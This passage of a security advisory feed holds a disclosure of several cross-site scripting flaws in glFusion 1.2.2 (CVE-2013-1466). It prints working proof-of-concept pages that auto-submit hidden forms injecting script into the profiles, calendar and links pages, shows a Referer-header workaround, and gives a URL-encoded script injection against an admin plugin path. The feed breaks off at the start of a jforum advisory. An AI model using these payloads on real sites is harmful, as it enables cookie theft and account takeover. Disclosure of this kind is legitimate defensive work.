+0100</pubDate></item><item><title>[HTB23142]: Multiple Cross-Site Scripting (XSS) in glFusion</title><link>https://www.htbridge.com/advisory/HTB23142</link><description>&lt;b&gt;Product:&lt;/b&gt; glFusion v1.2.2&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Cross-Site Scripting [CWE-79]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; http://www.glfusion.org/&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-01-30 13:05:55&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; February 20, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-1466&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in glFusion, which can be exploited to perform Cross-Site Scripting attacks.&lt;br /&gt; &lt;br /&gt; glFusion has a "bad_behaviour" plugin (installed by default) that verifies HTTP Referer, aimed to protect against spambots. The plugin also makes reflected XSS attacks against the application a little bit more complex. To bypass the security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3 modify the HTTP Referer header. These PoCs were successfully tested in the latest available version of Mozilla Firefox (18.0.1) . &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466&lt;br /&gt; &lt;br /&gt; 1.1 The vulnerability exists due to insufficient filtration of user-supplied data in "subject" HTTP POST parameter passed to "/profiles.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The PoC code below uses "alert()" JavaScript function to display user's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;meta&lt;/font&gt; &lt;font color="#800080"&gt;http-equiv&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Content-Type&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;content&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;text/html; charset=utf-8&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; var x = 0&lt;br /&gt; function go2() { location.replace(&amp;quot;&amp;quot;) }&lt;br /&gt; function go() {&lt;br /&gt; if(x) return&lt;br /&gt; x += 1&lt;br /&gt; try {&lt;br /&gt; var html = '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;target&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;_parent&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/profiles.php&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;uid&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;2&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;author&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;author&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;message&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;message_html&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;authoremail&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;mail@mail.com&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;postmode&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;html&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;what&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;contact&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;subject&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(document.cookie);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; window.frames[0].document.body.innerHTML = html&lt;br /&gt; window.frames[0].document.forms[0].submit()&lt;br /&gt; } catch(e) {&lt;br /&gt; go2()&lt;br /&gt; }&lt;br /&gt; }&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;iframe&lt;/font&gt; &lt;font color="#800080"&gt;onload&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;window.setTimeout('&lt;/font&gt;go()', 99)&amp;quot; &lt;font color="#800080"&gt;src&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;about:blank&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;style&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;visibility:hidden&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;iframe&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; window.setTimeout('go2()', 3333)&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.2 The vulnerabilities exist due to insufficient filtration of user-supplied data in "address1", "address2", "calendar_type", "city", "state", "title", "url", "zipcode" HTTP POST parameters passed to "/calendar/index.php" script. A remote attacker can trick a logged-in user into opening a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The PoC code below uses "alert()" JavaScript function to display user's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;meta&lt;/font&gt; &lt;font color="#800080"&gt;http-equiv&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Content-Type&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;content&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;text/html; charset=utf-8&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; var x = 0&lt;br /&gt; function go2() { location.replace(&amp;quot;&amp;quot;) }&lt;br /&gt; function go() {&lt;br /&gt; if(x) return&lt;br /&gt; x += 1&lt;br /&gt; try {&lt;br /&gt; var html = '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;target&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;_parent&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/calendar/index.php&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;mode&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Submit&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;savecal&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Submit&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;address1&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(document.cookie);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;' &lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;calendar_type&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(document.cookie);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;city&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(document.cookie);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;state&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(document.cookie);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;title&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(document.cookie);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;url&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(document.cookie);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;zipcode&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(document.cookie);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;' &lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;address2&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(document.cookie);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; window.frames[0].document.body.innerHTML = html&lt;br /&gt; window.frames[0].document.forms[0].submit()&lt;br /&gt; } catch(e) {&lt;br /&gt; go2()&lt;br /&gt; }&lt;br /&gt; }&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;iframe&lt;/font&gt; &lt;font color="#800080"&gt;onload&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;window.setTimeout('&lt;/font&gt;go()', 99)&amp;quot; &lt;font color="#800080"&gt;src&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;about:blank&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;style&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;visibility:hidden&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;iframe&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; window.setTimeout('go2()', 3333)&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.3 The vulnerabilities exists due to insufficient filtration of user-supplied data in "title" and "url" HTTP POST parameters passed to "/links/index.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The PoC code below uses "alert()" JavaScript function to display user's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;meta&lt;/font&gt; &lt;font color="#800080"&gt;http-equiv&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Content-Type&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;content&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;text/html; charset=utf-8&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; var x = 0&lt;br /&gt; function go2() { location.replace(&amp;quot;&amp;quot;) }&lt;br /&gt; function go() {&lt;br /&gt; if(x) return&lt;br /&gt; x += 1&lt;br /&gt; try {&lt;br /&gt; var html = '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;target&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;_parent&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/links/index.php&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;mode&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Submit&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;title&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(1);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;' &lt;br /&gt; html += '&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;url&amp;quot;&lt;/font&gt; value=\'&amp;quot; &lt;font color="#800080"&gt;onmouseover&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;javascript:alert(2);&amp;quot;&lt;/font&gt;\'&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;'&lt;br /&gt; window.frames[0].document.body.innerHTML = html&lt;br /&gt; window.frames[0].document.forms[0].submit()&lt;br /&gt; } catch(e) {&lt;br /&gt; go2()&lt;br /&gt; }&lt;br /&gt; }&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;iframe&lt;/font&gt; &lt;font color="#800080"&gt;onload&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;window.setTimeout('&lt;/font&gt;go()', 99)&amp;quot; &lt;font color="#800080"&gt;src&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;about:blank&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;style&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;visibility:hidden&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;iframe&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; window.setTimeout('go2()', 3333)&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.4 The vulnerability exists due to insufficient filtration of user-supplied data in URI after "/admin/plugins/mediagallery/xppubwiz.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The PoC code below uses "alert()" JavaScript function to display user's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/admin/plugins/mediagallery/xppubwiz.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E/&lt;/font&gt;</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23142</guid><category><![CDATA[webappsec]]></category><category><![CDATA[XSS]]></category><pubDate>Wed, 20 Feb 2013 00:00:00 +0100</pubDate></item><item><title>[HTB23134]: Multiple Vulnerabilities in jforum</title><link>https://www.htbridge.com/advisory/HTB23134</link><description>&lt;b&gt;Product:&lt;/b&gt; jforum v2.1.9&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; jforum.net&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2012-12-26 15:49:38&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; February 13, 2013 &lt;br&gt;&lt;b&gt;CVE References:&lt;/b&gt; CVE-2012-6445, CVE-2012-6446&lt;br&gt; &lt;b&gt;CVSSv2 Base Scores:&lt;/b&gt; 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered multiple 